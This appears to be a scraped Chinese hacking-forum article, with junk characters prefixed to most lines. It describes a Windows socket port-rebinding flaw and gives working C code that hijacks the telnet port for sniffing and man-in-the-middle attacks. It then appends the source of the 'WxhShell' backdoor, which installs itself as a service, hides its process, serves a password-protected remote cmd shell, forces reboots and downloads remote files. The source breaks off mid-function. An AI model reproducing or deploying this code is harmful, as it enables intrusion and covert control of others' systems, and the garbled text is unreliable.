在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!s=$UC s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
C
6
\ C][hH?. saddr.sin_family = AF_INET;
L4/ns@e bOr11? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
)9yQ
C 6J,h}S bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
T"Y#u rueaP 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
"{D/a7]lC $oQOOa@;i) 这意味着什么?意味着可以进行如下的攻击:
Zio!j%G #2_FM!e 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
V[/9?5pM 06.%9R{ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
N+c|0 w ea 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
q][kD2 X.4WVI 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
U%:%. Bys [l5jPL}6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
cDz@3So.b n?r8ZDJ' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
.euAN8L @9 S :: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
/8qR7Z^HZ Wu$ryX #include
Z .gb' #include
GCN-T1HvA2 #include
Vp]7n!g4l #include
|9S8sfw DWORD WINAPI ClientThread(LPVOID lpParam);
<h/q^| tZ{ int main()
M{24MF {
n>.@@ WORD wVersionRequested;
h8UhrD<: DWORD ret;
j.Uy>ol WSADATA wsaData;
]}g\te BOOL val;
+j<WP SOCKADDR_IN saddr;
uZn_*_J! SOCKADDR_IN scaddr;
j_90iP^5: int err;
Fw&ImRMk SOCKET s;
PdO"e SOCKET sc;
jV*10kM< int caddsize;
[IOI&`?D HANDLE mt;
L D[\eJ_ DWORD tid;
GW>F:<p wVersionRequested = MAKEWORD( 2, 2 );
45.ks. err = WSAStartup( wVersionRequested, &wsaData );
)b1hF if ( err != 0 ) {
OoA!N-Q printf("error!WSAStartup failed!\n");
t!rrYBSCr return -1;
-rcEG! }
_oc6=Z saddr.sin_family = AF_INET;
g]&fyB# -M=BD-_.h //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
xFp$JN 4utwcXL saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
m=9b/Nr4 saddr.sin_port = htons(23);
p4z4[=-: if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6t; ;Fz {
q("XS printf("error!socket failed!\n");
Z]b;%:>= return -1;
"7%jv[ }
BT[|f[1 val = TRUE;
fu\j //SO_REUSEADDR选项就是可以实现端口重绑定的
u|IS7>Sm if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
`"CA$Se8 {
GZaB z#U printf("error!setsockopt failed!\n");
)KFxtM- return -1;
tjThQ }
x@43ZH_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
y$7Ys:R~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
aWTurnee^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ZJs~,Q ,4"N7_!7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
^?Xs!kJP {
bxh-#x
& ret=GetLastError();
ZOPK printf("error!bind failed!\n");
I=&i &6v8G return -1;
+&u/R')?6r }
PR|z -T listen(s,2);
((]i}s0S while(1)
[(*Eg!?W= {
Ich^*z(F$ caddsize = sizeof(scaddr);
P,] ./m\J //接受连接请求
M2cGr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Ti)Me-g if(sc!=INVALID_SOCKET)
cu>(;= {
}6a}8EyFP mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
)@DDs(q=i if(mt==NULL)
=!SV;^-q {
5;KJ0N*- printf("Thread Creat Failed!\n");
-51LF=(!L break;
5T.U=_ag }
e4=FO;% }
xRc+3Z= N CloseHandle(mt);
m BvO<?ec }
/Yi4j,8!| closesocket(s);
EoJ\Jk WSACleanup();
nyPeN?- return 0;
rGNa[1{kRs }
0e0)1;t\ DWORD WINAPI ClientThread(LPVOID lpParam)
H'#06zP>5 {
AcuZ?LYzK SOCKET ss = (SOCKET)lpParam;
,(q]
$eOZ SOCKET sc;
grE(8M unsigned char buf[4096];
4#>Z.sf SOCKADDR_IN saddr;
?u:`?(\ long num;
rtAPkXJFM DWORD val;
>(P(!^[f DWORD ret;
~3M4F^ //如果是隐藏端口应用的话,可以在此处加一些判断
RYCiO,+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
z0LspRaz saddr.sin_family = AF_INET;
vW eg1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
=cV|o] saddr.sin_port = htons(23);
mmJnE if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%2dzx[s {
RdD>&D$I printf("error!socket failed!\n");
`,SL\\%u return -1;
~.3v\Q }
RN 4?]8 val = 100;
s.7=!JQ#]p if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%`k [xz {
AR( gI]1 ret = GetLastError();
`l'T/F\ return -1;
`PAQv+EYz }
|HT7m5tu4 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
QBXEM= {
&1<[@:; ret = GetLastError();
>x*[izr/K return -1;
9soEHG=P }
XcT!4xG0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
DqWy@7
a {
o3+s.7 " printf("error!socket connect failed!\n");
rP]|`*B closesocket(sc);
ZMlBd}H closesocket(ss);
OR6vA5J
return -1;
;SI (5rS? }
eEBNO*2 while(1)
'6vo#D9M {
kCEuzd=$V //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@4UX~=:686 //如果是嗅探内容的话,可以再此处进行内容分析和记录
A^FkU //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
3}s]F/e num = recv(ss,buf,4096,0);
n*$g1 HG6 if(num>0)
"{vWdY|" send(sc,buf,num,0);
wG MhKZE else if(num==0)
7~+Fec`Ut* break;
mvH8hvD9 num = recv(sc,buf,4096,0);
U9T}iI if(num>0)
'V^M+ng send(ss,buf,num,0);
!0hyp |F:> else if(num==0)
\E,2VM@6 break;
?=4oxPe }
F%a&|X closesocket(ss);
D"aK;_W@h closesocket(sc);
eik_w(xPT return 0 ;
tnUfi8\ob }
}v}F8}4 ``<#F3 !%M,x~H ==========================================================
}0\SNpVN 5B|.cOE 下边附上一个代码,,WXhSHELL
s"#N; &'i_A%V ==========================================================
bL* b>R[x 3.#L #include "stdafx.h"
w;}5B~). 'kj
q C #include <stdio.h>
nG3SDL#(k #include <string.h>
;/kd.Q #include <windows.h>
B|a <=~ #include <winsock2.h>
Dks n #include <winsvc.h>
@yb'h`f] #include <urlmon.h>
M2ex
3m f_O| #pragma comment (lib, "Ws2_32.lib")
8D`+3 #pragma comment (lib, "urlmon.lib")
HdtGyh6X0 l (rm0_ #define MAX_USER 100 // 最大客户端连接数
j[i*;0) | #define BUF_SOCK 200 // sock buffer
p5E
okh #define KEY_BUFF 255 // 输入 buffer
>;Oa|G C)FO:lLr\ #define REBOOT 0 // 重启
@C@9Tw2Y #define SHUTDOWN 1 // 关机
lz>00B<Z Bj4c_YBte #define DEF_PORT 5000 // 监听端口
vkJyD/;= N KgEs #define REG_LEN 16 // 注册表键长度
kM4z
% #define SVC_LEN 80 // NT服务名长度
sryA(V X=-= z5 // 从dll定义API
USEmD5 q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{M:/HQo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
}iDRlE, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
C ibfuR typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
H0inU+Ih |)To 0Z // wxhshell配置信息
MkFWZ9c3 struct WSCFG {
b+:mV7eX int ws_port; // 监听端口
Txo{6nd/ char ws_passstr[REG_LEN]; // 口令
Eh;Ia6} int ws_autoins; // 安装标记, 1=yes 0=no
$:5h5Y#z char ws_regname[REG_LEN]; // 注册表键名
zUJXA:L9 char ws_svcname[REG_LEN]; // 服务名
wuY-f4 char ws_svcdisp[SVC_LEN]; // 服务显示名
:_i1gY) char ws_svcdesc[SVC_LEN]; // 服务描述信息
5P #._Em char ws_passmsg[SVC_LEN]; // 密码输入提示信息
JdI*@b2k[ int ws_downexe; // 下载执行标记, 1=yes 0=no
yn ofDGAf char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
=%I[o=6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
U%r{{Q1 2X' H^t]7 };
*0,*F ~n "k+ :!D // default Wxhshell configuration
:T$}@& - struct WSCFG wscfg={DEF_PORT,
::02? "xuhuanlingzhe",
;p*L(8<YI 1,
ynra%"sd "Wxhshell",
"UD)3_R "Wxhshell",
0y<9JvN$9 "WxhShell Service",
VB |k "Wrsky Windows CmdShell Service",
Mz$qe "Please Input Your Password: ",
b/\O;o}] 1,
An(gHi;1$ "
http://www.wrsky.com/wxhshell.exe",
)x[=}0C "Wxhshell.exe"
?z M };
w7~]c,$y. 1f^oW[w& // 消息定义模块
bny@AP(CY+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
rkS'OC char *msg_ws_prompt="\n\r? for help\n\r#>";
+Q_xY>ej char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
0e"KdsA:<U char *msg_ws_ext="\n\rExit.";
"Vc|D (g char *msg_ws_end="\n\rQuit.";
bZWR.</ char *msg_ws_boot="\n\rReboot...";
$/Wec,`& char *msg_ws_poff="\n\rShutdown...";
PC@HNto{ char *msg_ws_down="\n\rSave to ";
EhO\N\p(Q= ! weYOOu char *msg_ws_err="\n\rErr!";
zQ<&[Tuwa char *msg_ws_ok="\n\rOK!";
W'k&DKhTqF Z{(Gib~{N char ExeFile[MAX_PATH];
!^L}LtqHI int nUser = 0;
sR PQr? HANDLE handles[MAX_USER];
_d~GY,WTdO int OsIsNt;
n3J,`1*ct lbIW1z%:sy SERVICE_STATUS serviceStatus;
N0lFx?4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
^{yb4yQ
0 FLPN#1 // 函数声明
*URY8a`bO int Install(void);
eWYet2!Q int Uninstall(void);
Brg0: 5H
int DownloadFile(char *sURL, SOCKET wsh);
]lJ#|zd8o int Boot(int flag);
ArX*3 void HideProc(void);
Jp)PKS
![ int GetOsVer(void);
Gg6cjc =dC int Wxhshell(SOCKET wsl);
\K9Y@jnr void TalkWithClient(void *cs);
coaJDg+ int CmdShell(SOCKET sock);
'%Oo1:wJ int StartFromService(void);
$?: -A int StartWxhshell(LPSTR lpCmdLine);
RToX[R;1E &C,]c#-+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
H!y@.W{_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
YA8/TFu<_ Tz&cm= // 数据结构和表定义
BI#(L={5 SERVICE_TABLE_ENTRY DispatchTable[] =
jvd3_L-@E< {
0~<t :q! {wscfg.ws_svcname, NTServiceMain},
VasQ/ {NULL, NULL}
]]V=\.y };
q{,yas7} :1iXBG\ // 自我安装
<9=RLENmY" int Install(void)
.
VI
# {
W#b++}S char svExeFile[MAX_PATH];
mMhe,8E& HKEY key;
OB,T>o@ strcpy(svExeFile,ExeFile);
AsZyPybq /$vX1T // 如果是win9x系统,修改注册表设为自启动
QBoX3w= if(!OsIsNt) {
&@7|_60 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
K1<l/
s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
OZObx RegCloseKey(key);
<
R@&<E6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2(D&jL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|@-y+vbA* RegCloseKey(key);
A^c5CJ_ return 0;
; zy;M5l5. }
mOjl0n[To] }
i3Nt?FSN }
AQ.q?'vE) else {
0XIrEwm@% S;vZXgyN? // 如果是NT以上系统,安装为系统服务
Xw^:<Nx: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
DUm/0q& if (schSCManager!=0)
Z[j-.,Qu {
)>=|oY3 SC_HANDLE schService = CreateService
d<;XQ.Wo7 (
iN`L* h schSCManager,
ER$~kFE2yP wscfg.ws_svcname,
~b4fk^u`+ wscfg.ws_svcdisp,
}>j1j^c1=' SERVICE_ALL_ACCESS,
FUPJ&7+B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
T5U(B3j_ SERVICE_AUTO_START,
IZ4jFgpR SERVICE_ERROR_NORMAL,
8J9o$Se svExeFile,
yFP#z5G NULL,
.Qj`_q6= NULL,
0Zl1(;hx@ NULL,
VHws9) NULL,
]Otl(\v(h NULL
LyXABQ] );
1hp@.Fv if (schService!=0)
GHWpL\A{8` {
M9S[{Jj* CloseServiceHandle(schService);
}fxH>79g CloseServiceHandle(schSCManager);
-3b0;L&4>x strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
[
06B)|s strcat(svExeFile,wscfg.ws_svcname);
r?2C%GI` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
a-DE-V Uls RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
:Ws3+OI'm3 RegCloseKey(key);
*KV]MdS return 0;
*JOv }
}`^<ZNkb/ }
` }Hnj* CloseServiceHandle(schSCManager);
MN)<Tr2f }
1Kebl }
u09OnP\ kp;MNRc return 1;
e S
Fmx }
;6)|'3.B9 X!_OOfueP8 // 自我卸载
vqxTf)ys int Uninstall(void)
,9M \`6 {
`0 F"zu HKEY key;
aH$*Ue@Q ]g+(#x_.? if(!OsIsNt) {
IweQB} d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\S2'3SDd/ RegDeleteValue(key,wscfg.ws_regname);
x[oYN9O RegCloseKey(key);
KoXXNJax if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,>jm|BTD { RegDeleteValue(key,wscfg.ws_regname);
(}qLxZ/U RegCloseKey(key);
$fvUb_n return 0;
pcl_$2_ }
YGn:_9 }
02S(9^= }
ta4<d)nB else {
Vis?cuU/ yq,5M1vR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
SO&;]YO if (schSCManager!=0)
\)"qN^we {
?%0i,p@< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
-jw=Iyv if (schService!=0)
JT-Zo OZ {
E|Lh$9XONA if(DeleteService(schService)!=0) {
n*xNMw1x"T CloseServiceHandle(schService);
a:]yFi:Su CloseServiceHandle(schSCManager);
1-[{4{R return 0;
1Q$ M/} }
xX>448= CloseServiceHandle(schService);
\%^3Izsc }
p.IfJ| CloseServiceHandle(schSCManager);
gR>#LM&dG }
6%xl}z]o }
e
O}mZN +%~g$#tlJo return 1;
MU^Z*r }
)T+htD) gddGl=rm // 从指定url下载文件
y@z#Jw< int DownloadFile(char *sURL, SOCKET wsh)
Stw6%T- {
Te13Af~ HRESULT hr;
gy[uqm_ T char seps[]= "/";
0\o'd\ char *token;
?k?Hp:8?= char *file;
%qv7;E2C char myURL[MAX_PATH];
87/{\h char myFILE[MAX_PATH];
g/yXPzLU / L8=8 strcpy(myURL,sURL);
t|DYz#] token=strtok(myURL,seps);
>y@w-,1he while(token!=NULL)
K&h|r`W( {
^YZ#P0 y file=token;
MG@19R2s token=strtok(NULL,seps);
/4f;Niem }
8|/YxF< x/<.?[A GetCurrentDirectory(MAX_PATH,myFILE);
C!P6Z10+j strcat(myFILE, "\\");
5-QXvw(TH strcat(myFILE, file);
~!OjdE!u send(wsh,myFILE,strlen(myFILE),0);
/L
4WWQ5 send(wsh,"...",3,0);
"8X+F% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ij),DbWd if(hr==S_OK)
G#*;3X$ return 0;
6bn-NY:i else
x1et,&, return 1;
v]!7=>/2 J5"*OH:f }
*$1)&2i EKf4f^< // 系统电源模块
k4P.}SJ? int Boot(int flag)
V+q RDQ {
Sq'z<}o HANDLE hToken;
P;/T`R=Vr" TOKEN_PRIVILEGES tkp;
'$VR_N\ hg~fFj3ST if(OsIsNt) {
]=3O,\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
J @fE") LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
4SrK]+| tkp.PrivilegeCount = 1;
^s*} 0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
)wRD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
{1+H\(v if(flag==REBOOT) {
2P}RZvUd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
#wyS?FP- return 0;
UTt#ltun ? }
;rKYWj>IR else {
AQ5v`xE4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ao!r6:&v$e return 0;
5 $J }
@6SSk=9_S }
F8I<4S else {
@n(In$ if(flag==REBOOT) {
^q`*!B9@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Vmc)or*# return 0;
ZJ(!jc$"*% }
Ymu=G3- else {
11sW$@xs
9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
$\
'\@3o return 0;
p3o?_ !Z }
vo-{3]u#= }
| |=Duk 5,Y2Lzr return 1;
K;PpS*! }
M=A9ax %U7B0- // win9x进程隐藏模块
hz%IxI9 void HideProc(void)
Q:\hh=^ {
_1'Pb/1 ;GSJnV HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*&]l if ( hKernel != NULL )
2LU'C,o? {
UJ[a&b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
$EIkk= z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
D,/9rH FreeLibrary(hKernel);
Ah6x2(: }
08a|]li ]Yex#K
return;
ihrrmlN? }
B(LV22# val<N293L> // 获取操作系统版本
(T01hR& int GetOsVer(void)
t,,^^ll {
v"+EBfx OSVERSIONINFO winfo;
$wTX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
.)w0C%] GetVersionEx(&winfo);
`uHpj`EU if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
G
m! ]
return 1;
Tt|6N*b' else
{@AcL:Eit return 0;
o=QF>\\ }
*lAdS]I <*(R+to^d // 客户端句柄模块
3~ZVAg[c int Wxhshell(SOCKET wsl)
lv*uXg.k^ {
9,CC1f SOCKET wsh;
P;&p[[7 struct sockaddr_in client;
N~jQ!y DWORD myID;
p%1m&/`F [!mjUsut* while(nUser<MAX_USER)
1.uQ(>n {
($>0&w int nSize=sizeof(client);
;7k7/f: wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>>zoG3H! if(wsh==INVALID_SOCKET) return 1;
KCE-6T dAl<'~g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>iN%Uz if(handles[nUser]==0)
0)V-|v` closesocket(wsh);
{2^@jD else
9AzGk=^
nUser++;
,r;d { }
VYo;[ue([ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
dy?|Q33Y" XH$|DeAFM return 0;
q&T'x> / }
-<]_:Kf{;& Q0\5j<'e // 关闭 socket
RJ4mlW void CloseIt(SOCKET wsh)
/8\&f%E {
ZS]f+}0/} closesocket(wsh);
`r(J6,O nUser--;
,
% jTXb ExitThread(0);
oH0F9*+W }
3G|fo4g z
5+]Z a~ // 客户端请求句柄
+lJ]-U|P void TalkWithClient(void *cs)
8T
)ELhTj {
Eo&qc 17)` ,D,f9 SOCKET wsh=(SOCKET)cs;
y|{?>3 char pwd[SVC_LEN];
`+c9m^ char cmd[KEY_BUFF];
#`0z=w/) char chr[1];
ya g int i,j;
}#5roNH~Z ItE~MJ5p while (nUser < MAX_USER) {
a' o8n6i }p?V5Qp if(wscfg.ws_passstr) {
h\\2r> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q$/F gS
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"0zXpQi,B //ZeroMemory(pwd,KEY_BUFF);
M|e
n>P i=0;
(Gc`3jJ while(i<SVC_LEN) {
l zPS
RT luk2fi<$ // 设置超时
|S`yXsg fd_set FdRead;
'xoE
[0! struct timeval TimeOut;
@k6}4O?{ FD_ZERO(&FdRead);
?9@Af{b t2 FD_SET(wsh,&FdRead);
I} fcFL8 TimeOut.tv_sec=8;
$'{`i5XB TimeOut.tv_usec=0;
-01 1U! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0P3|1= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
EiP&Y,vT (A fbS=[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
'4lT*KN7\ pwd
=chr[0]; wf<`J/7u
if(chr[0]==0xd || chr[0]==0xa) { b(-t)5^}
pwd=0; }.V0SM6
break; >@"3Q`
} IYg3ve`x
i++; Y_>-p(IH
} nk$V{(FJ
o+Ti$`2<O7
// 如果是非法用户,关闭 socket ur,"K'w
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bTy)0ta>AF
} f<4q ]HCa
)X!DCL:16
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); | 4oM+n;Y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J~'Q^O3@
(g2r\hI
while(1) { NF(IF.8G
XAxI?y[c
ZeroMemory(cmd,KEY_BUFF); `m; "I
S Y>,kwHO
// 自动支持客户端 telnet标准 @TPgA(5NR
j=0; $0S#d@v}
while(j<KEY_BUFF) { 4\SBf\ c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G[<[#$(
cmd[j]=chr[0]; Sb9=$0%\
if(chr[0]==0xa || chr[0]==0xd) { f(s3TLM
cmd[j]=0; K-k.=6mS
break; ],}afa!A
} 5QFXj)hR+4
j++; h* %0@
} D)ne *},
= *;Xc-_
// 下载文件 w$[Ds
if(strstr(cmd,"http://")) { |U$de2LF
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ecqz@*d&
if(DownloadFile(cmd,wsh)) HZ<f(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^r$iN %&~
else ""v`0OP&J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c]!D`FA*K
} Q @OC =
else { s.I1L?s1w?
lPcVhj6No%
switch(cmd[0]) { 5az
4N T
. (*kgv@3x
// 帮助 H^PqYLjN
case '?': { _
kSPUP5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +V+*7s%fL
break; :n>ccZeMv
} *[1u[H9Cv
// 安装 +=*m! 7Mr
case 'i': { "kBqY+:Cn
if(Install()) P2Qyz}!wo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r{B,uj"
else fByh";<`P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l88a#zUQDN
break; &c<}++'h
} @FdCbPl$
// 卸载 yK%GsCJd:
case 'r': { <X I35\^
if(Uninstall()) 4>"cc@8&~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4lh
else Ux)p%-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q4.dLU,1
break; 'f?&EsIV?
} eFj6p<
// 显示 wxhshell 所在路径 _z(5e
case 'p': { o&XMgY~
char svExeFile[MAX_PATH]; w^'?4M!
strcpy(svExeFile,"\n\r"); .xLF}{u
strcat(svExeFile,ExeFile); ,7fc41O3V
send(wsh,svExeFile,strlen(svExeFile),0); '=Kof1
break; C/CfjRzd
} gR-Qj
// 重启 [#>$k
6F*
case 'b': { ZP63Alt
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o,Tr^e$
if(Boot(REBOOT)) _+Jf.n20
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |1QbO`f/F
else { BheEI;}
closesocket(wsh); B/sBYVU
ExitThread(0); [*?_
} }@:QYTBi }
break; |:e|~sism
} H?`)[#
// 关机 +F7<5YW&(
case 'd': { 3?*M{Y|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l\=-+'Y
if(Boot(SHUTDOWN)) NHFEr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bd[L6J)
else { HL(U~Q6JQ
closesocket(wsh); Z4HA94
ExitThread(0); AJ#m6`M+EK
} .W@(nQ-<
break; ] [HGzHA
} E/dO7I`B
// 获取shell g* \P6
case 's': { Yt/SnF
CmdShell(wsh); | ,1bkJt
closesocket(wsh); da00p-U
ExitThread(0); hSkc9jBF
break; sk7rU+<
} uK;K{
// 退出 |YE,) kiF
case 'x': { G+hF
[b44'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q_QKm0!
CloseIt(wsh); iBKb/Oi6
break; 0E?s>-b
} s,$Z("B
// 离开 WG8iTVwx
case 'q': { y7M:b Uh
send(wsh,msg_ws_end,strlen(msg_ws_end),0); CrNwALx
closesocket(wsh); `\/toddUh[
WSACleanup(); Y(hW(bd;
exit(1); l- 1]w$
y
break; $*AC>i\
} ol$2sI=.s
} >&<<8Ln
} p| \%:#
j!lAxlOX
// 提示信息 y^mWG1"O
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V\@jC\-5Vt
} N;Z`%&
} *?^Z)C>
Sg. +`xww3
return; }xkLD!
} C5PmLiOHY>
4-7kS85
// shell模块句柄 d)04;[=
int CmdShell(SOCKET sock) Cdp]Nv6
{ 4?>18%7&
STARTUPINFO si; I!$jYY2
ZeroMemory(&si,sizeof(si)); .1.J5>/n
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9^ >M>f"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :M22P`:
PROCESS_INFORMATION ProcessInfo; fJ)N:q`
char cmdline[]="cmd"; fg9?3x
Z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :W.jNV{e\F
return 0; 0T9@,scY
} [F/^J|VMV
;dqk@@O"(
// 自身启动模式 J Q)4}t
int StartFromService(void) gEr4zae
{ Si?$\H*:
typedef struct <i_>
y~v`
{ x],8yR)R
DWORD ExitStatus; [!1)mR
DWORD PebBaseAddress; Fw_
(q!
DWORD AffinityMask; )p$\gwr=2
DWORD BasePriority; M11"<3]D
ULONG UniqueProcessId; 4meidKw]
